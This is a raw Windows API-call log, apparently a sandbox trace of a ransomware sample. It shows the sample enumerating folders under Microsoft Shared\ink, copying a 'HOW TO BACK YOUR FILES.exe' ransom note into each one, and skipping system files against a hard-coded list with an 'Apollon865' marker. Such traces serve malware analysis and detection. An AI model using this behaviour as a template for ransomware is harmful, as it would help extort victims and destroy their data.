	[0076.648] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.648] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.648] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*") returned 58
	[0076.648] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.648] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.648] lstrlenW (lpString="Apollon865") returned 10
	[0076.648] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.649] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT"
	[0076.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591e40 | out: hHeap=0x580000) returned 1
	[0076.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0076.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT") returned 56
	[0076.649] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT"
	[0076.649] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.649] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.653] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c2b750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c2b750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.653] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.653] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.653] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.653] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c2b750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c2b750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.654] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.654] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.654] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.654] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.654] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c2b750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45c2b750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.654] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.654] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.654] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.654] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.654] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.654] lstrlenW (lpString="Apollon865") returned 10
	[0076.654] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.654] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR"
	[0076.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591dc0 | out: hHeap=0x580000) returned 1
	[0076.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0076.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR") returned 56
	[0076.654] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR"
	[0076.654] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.654] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.661] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c2b750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c2b750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.661] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.662] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.662] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.662] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.662] lstrlenW (lpString="Apollon865") returned 10
	[0076.662] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.662] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP"
	[0076.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591d40 | out: hHeap=0x580000) returned 1
	[0076.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0076.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP") returned 56
	[0076.662] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP"
	[0076.662] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.662] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.666] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c518b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c518b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.667] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.667] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.667] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.667] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.667] lstrlenW (lpString="Apollon865") returned 10
	[0076.667] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.667] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT"
	[0076.667] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591cc0 | out: hHeap=0x580000) returned 1
	[0076.667] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0076.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT") returned 56
	[0076.667] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT"
	[0076.667] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.667] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.672] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c518b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c518b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.672] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.672] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.672] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.672] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.672] lstrlenW (lpString="Apollon865") returned 10
	[0076.672] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.672] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization"
	[0076.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0076.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0076.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization") returned 67
	[0076.672] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization"
	[0076.672] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.672] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.683] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x45c518b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c518b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.683] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.683] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.684] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU"
	[0076.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591c40 | out: hHeap=0x580000) returned 1
	[0076.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0076.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU") returned 56
	[0076.684] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU"
	[0076.684] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.684] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.692] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c77a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c77a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.693] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.693] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.693] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.693] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.693] lstrlenW (lpString="Apollon865") returned 10
	[0076.693] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.693] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR"
	[0076.693] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591bc0 | out: hHeap=0x580000) returned 1
	[0076.693] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR") returned 56
	[0076.693] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR"
	[0076.693] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.693] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.706] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45c9db70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45c9db70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.707] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.707] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.707] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.707] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.707] lstrlenW (lpString="Apollon865") returned 10
	[0076.707] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.707] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL"
	[0076.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591b40 | out: hHeap=0x580000) returned 1
	[0076.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0076.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL") returned 56
	[0076.707] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL"
	[0076.707] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.707] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.711] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45cc3cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45cc3cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.712] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.712] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.712] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.712] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.712] lstrlenW (lpString="Apollon865") returned 10
	[0076.712] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.712] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions"
	[0076.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
